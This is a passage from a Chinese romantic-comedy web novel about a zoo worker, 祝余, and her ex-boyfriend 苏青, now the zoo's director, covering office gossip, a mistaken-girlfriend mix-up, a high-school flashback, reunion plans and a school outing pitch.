苏青心情不好的时候习惯无差别攻击,对钟杳杳也就没什么好气儿:“你没事跑我们家来蹭饭干嘛?”
“真小气哦,饭都不让蹭了。”
钟杳杳回想着今天下午在熊猫馆里碰见的两个女人,若有所思地戳戳他,“你今天很暴躁啊。”
要知道苏青在他们家向来是成熟稳重独立有主见的代名词,行走的别人家的孩子。
她大胆假设,小心求证:“才回来上班几天啊,就有喜欢的人了?”
苏青下颚绷的很紧,没说话。钟杳杳用一种发现了新大陆的眼神,惊喜万分地看着他:“铁树开花了啊!是今天下午那两个女生其中之一吗?让我猜猜是哪个!”
她想了半天,只依稀记得她们俩都挺有趣的,当时也没看出来哪个更特别一点。按照苏青的性格,应该会喜欢同专业的吧……有个女生看起来像是饲养员,于是她信口胡诌:“左边那个?”
陈最。
碰上红灯,车流缓缓停下,苏青揉着太阳穴,头疼不已:“别瞎猜了。”顿了顿,他又嘱咐道,“也别和我妈说。”
那就是咯。钟杳杳若有所思地点点头:“为什么不让我告诉婶婶?这有什么不能说的?她应该高兴才对吧。哦……你不会还没追到手吧?”
钟杳杳作恍然大悟状,字字往苏青痛点上戳,让他原本就不怎么愉快的心情更差几分。
*
此后几天,整个动物园上下——连祝余养的那只鹦鹉,都敏锐的发觉了新园长心情很差,特别差,差到不能更差。
这天一早,祝余喂完了coco,正打算去拍点vlog的素材,周谨神神叨叨地拉着她八卦:“咱们园长怎么了?这几天一身生人勿近熟人也勿近的气场,哇塞周身两米都不能靠近哎,会被冻死的!”
祝余也很费解:“生气了吧?他高中的时候生气也是这样的。”
“废话!谁看不出来他生气了。我是问你他为什么生气,陈最说你们那天下午聊天的时候还好好的呢!”
“那我怎么知道。”祝余两手一摊,表示她也很困惑,“老周你不知道,我从来就没搞懂过他。他高中的时候总是莫名其妙生气,我也不知道为什么。哇……这么一想他可能是天生气性大?”
“行吧行吧。”周谨知道她神经大条,也不指望能从她这儿得到什么有用信息,“那你回想一下,他高中生气的时候最后都是怎么消气的?”周谨向后一指,“全园上下的希望都寄托在你身上了!”
祝余往他身后一瞅,办公楼二楼的窗户里齐刷刷探出一排脑袋,首当其冲的是陈最,然后是财务老张和其他被那晚一顿长安居收买了的奶爸奶妈们。
她嘴角抽了抽:“不是吧,生气就生气呗,生完气了自然就消了,你们管这个干什么?”
周谨拍拍她,痛心疾首:“你知道他最近巡园,跟移动冰山似的冻走了多少小孩吗?再这样下去苏园长可止小儿夜啼了。”
祝余:“……那我想想啊。”
她坐在树下小石凳上,翘着脚,冥思苦想半天。
记忆中苏青第一次莫名其妙生气,她体育课后送了杯糖水,好了。
第二次莫名其妙生气,她自习课偷偷给他塞糖果吃,好了。
第三次莫名其妙生气,她拿出跑八百米的劲头冲刺去食堂帮他占位,好了。
好像每次都和吃的有关……
“我知道了!”祝余胸有成竹,“包在我身上,放心吧。不过你得帮我个忙,半个小时以后叫老板去趟游客管理中心。”
她背着手悠哉悠哉地走了,周谨满脸黑线:经验告诉他,祝余这个人实在是很不可信啊!
“小沈同志,忙什么呢?”
因为没什么游客,为开源节流,游客管理中心只有两个工作人员轮班,祝余探个脑袋过去,发现今天值班的不是那位向来严肃的楚老师,而是和她关系很不错的沈栀,便放心大胆地迈进去。
这份工作实在清闲,沈栀从清早就开始犯困,一抬头见她拎着两个大纸袋进来,惊讶道:“哟,你怎么来了?”
“当然是来慰问一下孤独寂寞冷的小沈同志啊。”祝余从纸袋里掏出杯咖啡,“瞅你困的,来,喝杯咖啡提提神。”
“多谢多谢!”沈栀朝她一抱拳,打了个哈欠,慵懒地靠在办公椅里,“俗话说无事不登三宝殿,你还带着贿赂来,说吧,到底有什么事求我?”
祝余笑嘻嘻地给她竖了个大拇指,狗腿又殷勤道:“果然什么都瞒不过你!我借你这地方用一用,你去园里溜达溜达。”<
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p>“借我这儿?”
“你这清闲。”
这倒是,游客管理中心藏在在一片郁郁的香樟树后,平时不太有人过来。沈栀点点头,答应了,又从她的纸袋里翻走两块薄荷糖。
薄荷糖是买咖啡的时候送的,祝余顺手也含了一颗,冰冰凉凉,提神醒脑。
苏青到的时候,祝余正坐在办公桌前,托着下巴看窗户外头香樟树上叽叽喳喳的鸟,早晨的阳光透过浓密的枝叶照在她脸上,勾勒出柔和的轮廓,连腮边的小绒毛都清晰可见。
她长得其实很漂亮,眉眼精致,看起来很聪明,跟她这个人的内在挺不一致的。
“找我?”苏青敲敲门。
“啊……”祝余回过神,指指桌上的纸袋,“小礼物。”
苏青拨开纸袋,见里面是胡记的糕点,一盒定胜糕,一盒龙井桂花糕。又看看她,露出一个恰到好处的困惑表情:“干什么?”
“上次直播说的啊,凭购票记录到游客中心领取小礼物一份。购票记录我就不看了,喏,小礼物你拿走吧,我想着你出国这么多年应该没吃上过,一大早跑去胡记买的。”
“我是说,你直接给我不就行了,为什么还要跑游客中心来?”
祝余愣了愣,简直想拍大腿:对啊!我为什么要大老远跑游客中心来?!我怎么那么不知道变通呢!
她硬邦邦地说:“别管!仪式感!”
苏青憋着笑,又道:“我是出国念书,又不是出国坐/牢,也有寒暑假的。”
祝余:…………
“不吃拉倒!”她伸手要夺,被他眼疾手快地拎起来闪开了。
“送人了怎么还要回去?”
他终于露出多日来难得一见的笑意,祝余任务完成,拍拍手:“慢慢吃吧,走了。”
“等一下。”苏青叫住她,“忽然送我东西干什么?”
苏青跟她同桌三年,对她的作派相当熟悉,不仅如此,连她的心理都拿捏的死死的。她如果哪天莫名其妙地送人吃的,那就说明她意识到惹人生气了,想补救。
谁叫她哄人的法子又贫乏,又好以己度人呢。
祝余耸耸肩,一脸坦荡:“哄你高兴啊。”
简简单单四个字,苏青听了身心舒畅,连日阴霾一扫而空,正打算放过她,谁知听她继续说道:
“老周今天早上跟我说你这两天挂着张扑克脸,把园里小孩都吓跑了。虽然我也不知道你为什么生气,但是咱们园里小孩本来就不多……”
她语重心长地拍拍他的肩:“听话,别闹情绪了,为了咱们动物园的游客量,有点服务意识,来,笑一个。”
苏青深吸一口气,勉强扯了扯嘴角。
“算了……”祝余摇摇头,“你还是别笑了。那咱俩商量个事,你这两天别巡园了,心情好了再去。”
苏青看看那袋子糕点,心情起落落落落落落,很想抄起定胜糕塞她嘴里。
他咬咬牙,决定再给她一个机会:“你不想问问我关于我‘女朋友’的问题吗?”
9. 往事
祝余皱着张脸,实在想不通他这是什么想法,难不成还要跟她讲讲他的恋爱史吗?
她可没有给人当情感导师的爱好,迅速摇头,斩钉截铁道:“不想!”
晨曦过隙,鸟鸣啾啾,显得屋内两人更加沉默了。
祝余觑着他,觉得有些话还是说明白比较好,她不是喜欢拖泥带水的人,于是一鼓作气道:“不过如果你已经谈恋爱了的话咱们俩就保持点距离吧……我感觉应该没有女生不在意这个。熊……不是,苏青,我那天说高兴是真心的,我很希望你能过的幸福,毕竟我当初甩了你还是有点不地道的,现在看到你过的好我就放心了。我这个人,对前任都挺友好的哈哈哈哈哈。”
“都?”
苏青本来有很多话想问她。当年为什么忽然要分手,为什么突然拉黑他,为什么那么决绝,为什么六年来杳无音信,为什么重逢后误会他有女朋友却仍然一副若无其事的样子。
在她说出这段话后,他忽然什么都不想问了,满脑子都是:都?什么叫都?她还和别人谈过?
“你有几个前男友?”
“啊?没有啦……”祝余蹙眉,“你的关注点很奇怪哎,我前面说那么一大通话,你不觉得很感动吗?”
苏青几乎是磨着牙挤出两个字:“感动……”
感动个屁!
“算了……”他搓了把脸,叹口气,破罐子破摔,轻声说,“我想了想,你说的没错,咱们俩还是保持点距离比较好。回去吧。最近是我不对,以后不会把情绪带入工作里了,等会请大家喝咖啡。”
祝余下意识感觉哪里不太对,可惜她从小的情绪感知能力就相当迟钝,这点不太对劲的感觉很快被她忽略了。她一脸欣慰的道:“不错,觉悟很高!走了,上班去了。”
然后就背着手一身轻松地走了。
苏青紧绷着唇角,愣愣地看着她的背影,半晌,又转头望向桌上的定胜糕,想起件往事来……
六年前,一中依照传统,考前给准高考生放假两天。祝余不知道从哪听说胡记的定胜糕有奇效,吃了就能超常发挥。
苏青说她傻,什么话都信,这一看就是商家打的广告啊,专骗你们这些意志力薄弱的学生和家长们的。但祝余非要拉着他去排队,美其名曰“讨个彩头”和“心理安慰”。
“去年有个学姐说她考前就是买了胡记的定胜糕,超常发挥,比三模成绩足足高了三十分呢!”
苏青翻着手里的单词本,这会儿功夫已经过了一百多个单词了,他头也没抬:“这是幸存者偏差。”
祝余怒了,一拍桌子:“你去不去?!”
“去去去!”苏青怕了她了,把单词本随手塞进书包里,站起来单肩背包,居高临下地看着她,“走吧。”
抱着她这种想法的学生家长数不胜数,胡记门口排起长队,从街头排到巷尾,又拐个弯排到另一条街上。六月酷暑,他们俩挤在长长的肩靠着肩背贴着背的队伍里,汗水打湿了夏季校服。
苏青说:“我真的不明白你为什么愿意在大太阳底下排这么长的队,你不是平时天天嚷嚷着一热你就要化成一滩水蒸发掉吗?”
“这不一样。”祝余神神叨叨,“定胜糕,你听听这名字,多喜庆多吉利啊!”
“我觉得你太紧张了。”苏青艰难地从包里掏出一张冰凉贴,撕开拍在她脑门上,“你不会还打算后天穿耐克上考场吧?”
“你怎么知道?”祝余一脸“你不愧是个学霸连这都能猜到”的表情,神秘兮兮地跟他说,“我妈前几天刚去买的,一整套,连鞋子都准备好了。你不要告诉别人哦,这是我的终极大杀/器。”
苏青就是随口这么一问,没想到她居然真的已经准备齐全了。他无语半晌,心想她的终极大杀/器估计也是全平江市一半以上学生的终极大杀/器,走出考场能看见一片对号海,这有什么好神神秘秘的。
他又从包里掏出一个小单词本塞到她手里:“不如背会单词。放轻松,只要你正常发挥,肯定能考上理想学校的。”
“我现在背不下去。”祝余捏着单词本,整个人都表现出大考前紧张兮兮的神经状态以及即将解/放的兴奋,总之看起来心烦意乱的。
“对了,”她从外套口袋里摸了半天,最后在裤子口袋里掏出一条五彩绳,“这个给你,是我妈编的。我们高考正好撞上端午节了,讨个彩头嘛。我还听他们说要在门上挂个粽子,摸一摸,这叫高粽!你回去记得摸啊!”
苏青刚想说“你不能这么紧张的去考试”,结果被她一打岔,耳朵尖忽然泛起不易察觉的红。他呆呆地伸出手腕,大胆说道:“那,那你帮我戴上。”
“自己戴不就好了?你不会啊?”祝余一边这么嘀咕,一边把五彩绳扣到他手腕上,她的指腹不可避免地擦过苏青手腕内侧,温温热热,这温度迅速蹿到耳朵上。
祝余一抬头,奇道:“你耳朵怎么那么红,热的吗?”
“嗯嗯。”苏青抬手擦去额头上并不存在的汗水,“天气太热了。”
她往前望望:“快排到我们了,坚持坚持!”
高考前的整个平江市都沉浸在一种紧张、激动、燥热的氛围中,卖定胜糕的糕点铺子门口尤甚。这群学生家长令人难以置信的激情铺天盖地,如一阵龙卷风般卷走了所有能讨“彩头”和“运气”的东西,最终排到他们的时候,连定胜糕都只剩下最后一盒玫瑰豆沙馅的。
苏青主动说:“我不需要。”
“我觉得你也不需要。”祝余毫不客气,“你肯定能考上清北的,跟我们这些需要依靠神秘力量的小学渣不一样。”
她大手一挥,让老板把最后一盒包起来。
回去在公交站牌等车的时候,祝余迫不及待地把那盒定胜糕打开,三百六十度无死角地拍了足足十八张照片,才托着盒子递到他面前:“我大方,分你半盒。”
苏青很不喜欢这种粘兮兮甜腻腻的东西,委婉道:“不……还是算了,你吃吧。”
“哎呀别跟我客气。”塞到他怀里,“咱俩谁跟谁啊,你可是我小弟!”
于是两人坐在公交站牌下分食那盒定胜糕。祝余这种吃什么都觉得好吃的神奇体质一口气塞了三个都没觉得腻,一双眼睛亮晶晶地望着他:“味道还不错哎!是吧?”
“嗯。”苏青只吃了半个就被噎的不行,他从上小学起就不吃这种甜兮兮的东西了,此刻却违心地说,“好吃。”
祝余见他喜欢,相当大方地说:“都送你了!”
他托着还剩半盒的糕点,心情复杂。及时到站的公交车拯救了他,否则不用等到上考场,他就被噎死了。
苏青抬手摸摸脖子,拽出一条项链来。那是一条细细的银色链子,下面却挂着与整条项链风格极其不搭配,极其突兀的
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,用五彩绳编成的同心结。
那五彩绳历经沧桑,陪他漂洋过海,从平江市到伦敦,如今又回到原点,已经褪色磨损的不成样子了。
物品用这种方式记录时间。
他心念微动,垂着的睫毛抖了抖,伸手往纸袋里探去,抱着一丝希冀的掰开一块定胜糕,想看看是不是玫瑰豆沙馅,结果一掰开,里面是紫色的——胡记新研究的口味:芋泥流沙馅。
好。他深吸一口气:她怕是早忘了是谁在高考前不辞辛劳地陪她在太阳底下暴晒俩小时就为了买一盒又贵又难吃的糕点了!
*
“怎么样?你搞得神神秘秘的,还把人约到游客中心去,搞定了吗?”
祝余刚踏进办公楼,就被周谨拽进了二楼会议室,不由分说地按在椅子上,人群立即围上来,七嘴八舌的讨论:
“鱼鱼姐你到底干嘛去了?”
“园长消气了吗?”
“我觉得悬。”
祝余扫视一圈:“不是吧?人这么齐!你们也太……咦,小李你终于回来上班了啊!”
李扬同志冲她点点头:“话说回来我还没见过新园长呢,他们为什么一个两个那么紧张?”
祝余叹口气,拍拍他的肩,心想肯定没人告诉他新园长来的第一天请大伙儿吃了顿长安居,从此稳固了他在西府的江湖地位。
“我办事,”她挥挥手,“你们放心。”
话音落地,苏青出现在会议室门口,敲了门:“请大家喝咖啡。人怎么这么齐,今早不忙吗?”
“不忙不忙。”周谨赶忙迎上去,小心觑着他的脸色,心想真是奇了怪了,这回祝余还真靠谱了一次。他笑眯眯的接过咖啡分给大家,“老大你破费什么啊。”
李扬心里犯嘀咕:老大都喊上了,师父你也太狗腿了!
结果他接过咖啡一看,动物园附近那家贼贵的咖啡店出品,还附带一块提拉米苏。
他们动物园以前日子过得紧巴巴的,咖啡奶茶小水果什么的那简直想都不要想的,过年过节发两袋子米都顶天了。
这新园长一来,隐形福利也太好了吧!这是质的飞跃啊!
怪不得他一回来大家都七嘴八舌地说新园长多么多么威武霸气,多么多么心地善良,多么多么英俊年轻!
苏青的形象一下子在李扬心里高大起来。
“最近心情不好,给大家添麻烦了。”苏青淡淡一笑,顺手把咖啡递给身边的陈最。
“说什么麻烦不麻烦的,多生分啊!”陈最娇羞一笑,扭捏地伸手去接,结果因为目光一直直愣愣停留在苏青那张十分温和十分养眼的脸上,不小心把咖啡碰洒了。
苏青下意识抽出纸巾帮她擦拭。
这一幕被门外前来刺探情报的八卦小能手钟杳杳尽收眼底:多么的郎情妾意,多么的情投意合,看苏青温柔的动作,再看看陈最的星星眼,整间会议室里都快被他们俩冒出的粉色泡泡填满了好嘛!
这个苏青,居然还不承认。钟杳杳扒着门框,心想我钟杳杳是谁,没有我探听不到的八卦!看我怎么揭穿你!
于是乎,在众人看来——
就是不知道从哪蹿出来一个跑的比兔子还快的女人,龙卷风一般刮进了会议室,在人群中精准地锁定了陈最,扑上去一把攥住陈最的手,喜上眉梢,声如洪钟,掷地有声地抛出两个字:“嫂子!”
10. 乌龙
空气凝固了。
陈最石化在原地,半晌才把手抽出来,张口结舌:“什什什么?谁谁谁谁是你哥?”
钟杳杳察觉到不太对劲的气氛,沉默着一指苏青。
一时间会议室里鸦雀无声,所有人缓缓扭头,看向他们威武霸气的新园长,只见苏青神色复杂,用一种“这是从哪个精神病院里跑出来的病人”的眼神盯着钟杳杳。
祝余眨眨眼,不明就里地看着钟杳杳——疑似苏青的恋爱对象结果变成了他妹,和陈最——周谨的暗恋,哦不明恋对象但被指认为苏青女朋友。
她嘴里还咬着吸管,机械地嚼了嚼,很像吃着吃着东西忽然待在原地的仓鼠:太复杂了,cpu都给我干烧了。
周谨看看钟杳杳,看看苏青,又看看陈最,忽然“嗷”的一声跑出去了,给众人留下一个伤心欲绝的背影。他的徒弟——刚刚休假回来的花果山奶爸,上年度最佳员工小李同志一边喊着“师父你不要想不开啊师父咱们这是二楼跳下去不仅死不了还有可能摔残的啊师父!”一边冲了出去。
而陈最娇羞地侧过身子,扭捏半天,吞吞吐吐地说:“园,园长…这不好吧…虽然你很帅,但人家是单身主义者啦……”
剩下的路人甲乙丙丁们一脸“我是谁我在哪我在干什么”的迷茫表情,上下左右地张望。忽然不知道谁说了一句“我好像听见我们家毛孩子叫我了”,众人纷纷应和“是是是我好像也听见了”,“唉我们家毛孩子就是黏人,快快快快回去吧”,然后一窝蜂地往外走。
苏青心道不好,他的清誉毁于一旦,马上动物园里就要流传着“我们新来的园长刚上班没两天就和奶妈谈恋爱了啧啧啧这也太速度了”的传言,赶在众人之前,以迅雷不及掩耳之势“砰”的一声关上门,脸色铁黑地看着钟杳杳,从咬紧的牙缝里挤出两个字:“解释!”
钟杳杳意识到自己闯祸了,猛地一把松开陈最:“你们俩没谈啊?”
这件十分离奇的乌龙事件把陈最砸的晕头转向,反应过来后她一把攥住钟杳杳的手:“美女!你不是他女朋友啊?!”
“我是他妹。”钟杳杳一脸黑线,悄眯眯地往门口挪,“误会,误会……哈哈,我早上出门忘记吃药了,哈哈……”
挪到门口,她飞快地打开条门缝蹿了出去,从窗户能看见她“嗖”的一下就跑没影了,祝余敢说她肯定练过短跑,换成是她的话就算是两爬馆的黄金蟒越/狱跑了出来,追在她身后她也跑不了这么快。
会议室内,众人缓缓松了口气,做鸟兽状散了,唯有陈最稍感遗憾,忽然走廊上传来周谨“呜呜呜呜呜”的哭声以及小李同志的“师父你看开一点啊!你哪里都比不上园长输了也情有可原啊!”头痛不已,出去把他们俩赶走了。
热热闹闹的会议室里忽然又只剩下他们俩了。
祝余缓缓吐出吸管:“她不是你女朋友啊?那你怎么不早说?”
苏青冷冰冰地给了她一个“你自己体会”的眼神,也走了。
她觉得苏青很难懂,思来想去,忽然顿悟了:他嫌我烦啊!所以才要和我保持距离!
原来如此啊!
她掏出手机,登录很久没打开的app,这是个有关动物保护的小众论坛,可以相互交流专业知识,也能发表一些有关日常生活的博文,是祝余记录吐槽的小秘密基地。
她修长的手指在屏幕上戳戳点点,打下一行字:
老板真难懂,还好我足够机智(? ̄▽ ̄)?
点击发表后,她才发现左上角信封的标志上有个小红点,提示她有未读消息,点开后发现果然是那位名叫“Silas”的网友。
他们大约是三年前在这个论坛上认识的,他们俩是这个论坛最初的一批用户,彼此都眼熟,因此很快就聊到一块儿去了。
Silas说他在国外念书。和国内隔着七个小时的时差,所以他们俩偶尔才聊两句,后来祝余毕业论文、工作后忙的团团转,就很少登录这个论坛了。
Silas的消息来自两个月前:我要回国了。
她打下“欢迎回家”四个字,又找了个可可爱爱的表情包发过去。然后退出论坛,估计这次回复后再收到消息又不知道是几个月后了,明明是两个抱着手机的现代人,在即时交流平台上,怎么搞的跟古时候飞鸽传书一样?
刚要放下手机回办公室,林晚的微信消息就发过来了:“班长他们在组织同学聚会,你去吗?随你个份子。”
祝余问:“哪天?”
“这周六。”
祝余掐指一算,周六无事,便回:“去。”
消息刚发出去,林晚那边嗖嗖发来几张截图,是班长他们在群里讨论苏青去哪了,班长说好多年都没和他联系,也不知道是不是直接留在国外不回来了。
有人插嘴说道:“问问祝余呢?当年学霸和她关系最好!”
班长作为半个知情人士,瞬间不冒泡了。林晚问她:“你要不要问问苏青来不来?这样我就有机会当面骂他了(跃跃欲试)!”
祝余叼着咖啡吸管囧囧道:“好吧,那我问问。但是他如果去参加的话你控制一下哦,我还要在他手底下混日子啊!”
大概是出于对闺蜜的独占欲,林晚从高中起就看苏青很不顺眼,并早就看透了他那点小九九,多次强调“鱼鱼这人绝对对你有意思你离他远一点啊!”
小时候看奥特曼长大以后看海贼王连言情小说都没接触过的祝余嗤之以鼻:“怎么可能!我是他大哥啊!你看他就会死读书,体力又差劲,当然需要我这样的大哥罩着啊!”
林晚无语。所以当她知道高中毕业没多久这俩人就搞在一起后的第一反应是:“你看我说的没错吧!”
第二反应是把苏青骂了一天一夜,并且作为“娘家人”坚决反对这门亲事,表示“你和他谈恋爱还不如和我谈,他有什么好的?”
面对苏青的多番利诱她都坚如磐石,永远像颗行走的发光发亮的电灯泡一般横亘在两人中间,搞的俩人牵个小手啊什么的都只能在她背后偷偷牵。
祝余这颗两边倒的墙头草夹在两人中间,傻*兮兮地说:“不要吵了你们两个都是我最重要的人,就不能和谐相处吗!”
结果被林晚和苏青双双冷落了好几天。
本来林晚已经快看习惯这俩人在她面前黏黏腻腻了,就在她快要睁一只眼闭一只眼接受苏青已经成了祝余男朋友这个事实的时候,这俩人分手了!
估计林晚是当天唯一高兴的人,恨不得给她扯条横幅
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“热烈庆祝祝余女士恢复单身”。
但鉴于她还是觉得这事苏青做的特别不地道,又把他骂了三天三夜,自此只要一提到这俩字,怒气值蹭蹭往上涨,如果不在三秒钟之内及时采取有效措施就可以等着看火山喷发了。
林晚想了一下,觉得她说的很有道理,勉强回复一个“OK”。
祝余抱着手机敲开苏青办公室的门——她其实也很想和苏青保持距离奈何现实不允许啊!
不待她说话,苏青朝她招招手:“你来的正好,我最近联系了三小的张校长谈春游的事情,你过几天陪我去学校一趟。”
“啊?”
苏青递给她一份文件夹:“这是有关三小近两年春游活动的资料,你先拿回去看一看,他们很重视自然教育,可以从这个角度下下功夫。”
“哦好。”祝余双手接过文件,下意识要走,走了几步又倒回来,“你不是说要和我保持距离吗?那还……”
那还喊我一起去学校?周谨不行吗?
话音未落,苏青抬抬下巴,示意她站远点,祝余很听话地往后退了两步,大约退到一米左右的位置,苏青微笑着说:“可以了。春季是流感高发期,还是要注意保持点距离的。”
祝余:……?
祝余:我觉得他在拿我当傻子可是我没有证据!
祝余:刚搞懂老板现在又搞不懂了怎么办……
苏青貌似很满意地点点头:“没事就去回去工作吧,走的时候帮我把门带上。”
祝余甩甩脑袋,把一脑门子疑问甩出去,决定以后再也不胡乱揣度上意了,反正她也揣度不明白。
“那个……班长在组织同学聚会,你去吗?大家好像还不知道你回国了。”
苏青仰进办公椅里,神色淡淡,不知道在想什么。祝余猜测他或许不想去,毕竟他高中的时候其实话很少,和同学关系也都一般,这么多年不联系了,估计连名字都快叫不上来了。她很善解人意地说:“你不想去的话也没事的……”
苏青忽然问:“你去吗?”
“当然去啊!每年同学聚会我都去。”
“那我也去。”
祝余点点头:“好,那我和大家说一声。”
她在群里公布苏青已经回国并且答应参加这次同学聚会的消息,刚发出去,群里一下子炸开了锅,潜水许久默默围观的同学都纷纷冒出来,可见学霸虽然不爱交际,但在群众中的呼声还是很高滴……
“我们有个微信群,我把你拉进来吧?”
“嗯。”苏青摸起手机。
他们的微信群名居然已经被改成了——热烈欢迎失/踪人口回归。
苏青的眉心跳了跳。
祝余自然也注意到了群名,很无语地戳了戳班长:“你这也太浮夸了吧。”
班长:“不浮夸不浮夸,学霸的加入令本群蓬荜生辉啊哈哈哈哈哈哈哈哈。”
因为有班长这个积极分子的存在,班群里平时就很热闹,这个重磅消息无疑像是颗扔进深海里的鱼/雷,祝余屏幕上的消息迅速滚动。
一道道模糊成黑影的字体和表情包中,她捕捉到了喻怀音的消息:
“你终于公布回国的消息啦,我还在想你要憋到什么时候呢。”
11. 同学聚会
与此同时,林晚私发给祝余的消息也蹦了出来:“喻怀音是不是也去英国留学了?她和苏青有联系啊?”
“不知道啊,我和喻怀音也没什么联系。”祝余没在意这些,兴致昂扬地和林晚讨论今天下班要不要去吃那家新开的东南亚菜。
林晚摇摇头:没救了,脑子里全是吃的。
*
一大清早,祝余狼狈地从早高峰的地铁上挤出来,摸出手机就着黑色屏幕整整自己翘到头顶上的刘海,拍拍被挤的皱巴巴的外套,站在三小门口,一抬头撞见苏青那辆风光的大G挤在送孩子上学的小汽车和小电驴中,蜗牛般缓慢地移动,真乃她们这些每天挤地铁的打工人喜闻乐见的一幕。
她忍不住叉腰仰天长笑:哈哈哈哈哈哈哈哈哈哈哈什么大G什么帕拉梅拉,遇见早高峰统统完蛋,还没旁边小学生走着快!
过了约莫十几分钟,送学生的家长渐渐散去,苏青才从两百米开外的地方找到个停车位,比祝余这个挤地铁来的人还要风尘仆仆。
祝余实在无聊,正捡了根树枝蹲在地上画圈圈数蚂蚁。
“幼不幼稚。”
祝余闻声抬头看苏青。他背光站着,春日融融暖阳被他挡在身后,晨光勾勒出修长匀称的轮廓,肩宽腰窄,白色衬衫妥帖地扎进黑西裤里,比例实在优秀。他今天还是穿一件长款风衣,范头十足,就是手上拎着个十分朴实无华的帆布袋显得有点突兀,上面还印着他们动物园的logo。
苏青见她蹲着不动,摸摸她圆润的后脑勺,用食指勾着她脖颈处的衣领把她拎起来,祝余蹲久了,忽然站起来眼前发黑,刚适应过来,帆布袋就被塞进手里了,“拿着。”
“这什么?”她翻了翻,发现是过年的时候动物园印的一套发给员工的纪念品,包括活页笔记本,果果的卡通玩偶,还有一个保温杯,估计是当时印多了还剩下两套,被苏青翻出来了,“干嘛?你就打算送人家校长这个啊?”
“不然呢,你还想送什么?”
祝余看过很多电视剧,那一刻脑子里一下子蹦出来很多不可描述的东西,苏青曲指在她脑壳上敲了敲:“难不成你还想去虎馆里虎口夺食抢下两斤牛肉带过来?省省吧,咱们园里没有一丝一毫多余的经费了。礼轻情意重嘛。”
虎馆那几只虎……提到这个祝余就犯愁,她长长地叹口气:“咱们都快没钱买牛肉了。”
“所以啊……”苏青悠悠道,“今天好好表现,拿下这个项目,赚点伙食费回去。”
祝余踌躇满志:“嗯嗯嗯!”
张校是负责这次春游活动的副校长,五十来岁,有点胖,也穿白衬衫,听说以前在一线教数学的,因此秃顶就不足为奇了。
祝余站在苏青身后,默默的想:都是白衬衫,人跟人的差距还真大……转念她又唾弃自己对校长不敬。
这可是手握皮皮伙食费的金主霸霸!
张校人很热情:“来来来,快请进。喝杯茶吧。”
说着就要去找一次性纸杯,苏青哪会真让他倒茶,再说他们也不是来喝茶的,便客气地道:“不用麻烦了。”
“没事没事,你们先坐。”张校挥挥手,拿出三个纸杯,倒满茶,祝余双手接过,机灵地一笑,把帆布袋递过去:“校长,我们带了点小礼物,送给您的。”
“这么客气,还带礼物来。”张校拿着研究了一下,“还印着你们动物园的牌子嘛,不错不错。”
一番冗长的客套后,三人终于坐下,进入正题。
张校先起了个话头:“你们是……西府森林动物园,对吧?”
苏青:“是。离咱们学校就两站地铁,很近。”
“我听说过你们动物园,听说救助站做的特别好,年年被市动物保护协会当优秀典范。不过,不瞒你说啊……”张校叹口气,话锋一转,面露难色,“其实我们前段时间和动植物园那边的人交接过,我们之前也合作过,双方都很愉快。”
动植物园,又是动植物园。祝余暗暗磨着牙,痛骂和他们针尖对麦芒的动植物园。
其实听到这,一个成熟的职场人都该明白他的言外之意,祝余都做好再客套一番就打道回府的准备了。她的腰板不明显地垮了垮,带着股落寞,心想:皮皮啊麻麻对不起你,没给你挣到伙食费。
她不动声色地和苏青交换了个眼神:那快走吧,别在一棵树上吊/死,多吊几棵试试。
谁知苏青接着说:“所以才要换换地方,动植物园去过了,这次来西府看看,说不定会有不一样的收获。”
“哈哈哈哈哈哈。”张校大笑着摇头,似乎是没想到面前的年轻人这么坚持,“你……那你说说让我选择你们西府的理由吧。”
苏青显然是早有准备,拿出手机开始放视频,祝余都不知道他那段视频是什么时候拍的。
“我研究过三小前几年的春游活动,发现三小有一个非常突出的主题——自然教育。这是我们前些年修建的亚洲灵长馆,尽可能地重现了动物的自然生长环境。在适宜的环境下,动物才会表现出自然的行为。”
他双手交叠,搭在膝盖上,一谈到专业领域的事情,便不再显得那么冷冰冰,反而有些健谈:“我个人认为,让学生观察到动物的自然反应,由此感受到乐趣,才是真正的自然教育。在这方面,平江市没有哪个动物园做的比西府更好。”
视频中正展现出长臂猿在树间荡来荡去的画面。
“我们还在园内设计了许多科普牌,如果学生来园内游览,我们也会组织工作人员进行讲解。”
张校略有松动:“说实话,我没去过西府。不知道你们竟然建的这么好。”
苏青微微一笑:“那我们邀请您先来西府参观参观,再做决定。”
*
祝余走出三小大门的时候,仍然晕乎乎的,她难以置信地拍拍自己的脸:“我们这算是……赚到伙食费了吧?”
春日气温多变,这会起了风,她把下巴埋在外套衣领里,眼神亮晶晶,语气中带着掩饰不住的喜悦,苏青没忍住,抬手帮她理了理耳畔被风吹乱的碎发,矜持道:“八字算有一撇了吧,仍需努力。”
这个动作太暧昧,换个人来都是小鹿乱撞面红耳热了,然而祝余就算谈过一次恋爱,也改不了天生对感情免疫,此刻只沉浸在赚到伙食费的喜悦里,她干脆把刘海潇洒地往后一撩,呆呆地重复着:“仍需努力,仍需努力,嘿嘿。”<
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p>然后转身往地铁站的方向走去。
苏青勾住她的外套口袋:“去哪?”
“地铁站啊。”
他加重语气:“我开车了。”
“哦对。”祝余一拍脑门,小尾巴一样跟在他后面。
真是不太精明啊。苏青摇摇头,在心底长叹一口气,这六年里也不知道有没有被别人拐走过。
祝余一上车,发现副驾驶座上居然还有个粉色腰靠,和冷酷精英范的黑色内饰很不搭,她心想没看出来苏青居然还有颗少女心,舒服地蹭了蹭,伸个懒腰,靠在车窗上开始犯困。
苏青睨她一眼:“昨晚又熬夜了?”
她是属夜猫子的,越到晚上越精神,苏青在高中的时候就很担心她的头发,结果这次回国一看,发量还是很可观,真是天赋异禀。
她浅浅打了个哈欠:“一两点吧,记不清了。跟班长他们在群里聊天聊嗨了,你肯定把群消息屏蔽了又没看见聊天记录吧?”
苏青淡淡地“嗯”了声。
“唉——”祝余叹口气,老神在在地向他传授职场经验,“手机永远不静音,及时回复群消息是我们打工人的职场准则和基本素养好嘛!你这样的是得不到老板重用滴~”
“你平时给我叫什么?”
祝余脱口而出:“老板。”
话音落地,她看见苏青勾了勾唇角,才反应过来。
可恶!忘了这人和他们这些普通打工人不一样了!
她找补道:“当然,您不一样。”
苏青不置可否地点点头,大发善心地帮她转移话题:“昨晚群里都聊什么?”
“也没什么。这不是同学聚会嘛,班长说定家饭店再去KTV唱唱歌,有人说俗,提议去野餐烧烤什么的,班长说自己烤多麻烦,两个人争论不休。最后是喻怀音一锤定音,说干脆就去北亭山的农家乐,喜欢自然风光的就去爬爬山,不喜欢爬山的就待在农家乐里喝喝茶聊聊天。这想法挺好的,大家都没什么异议。”
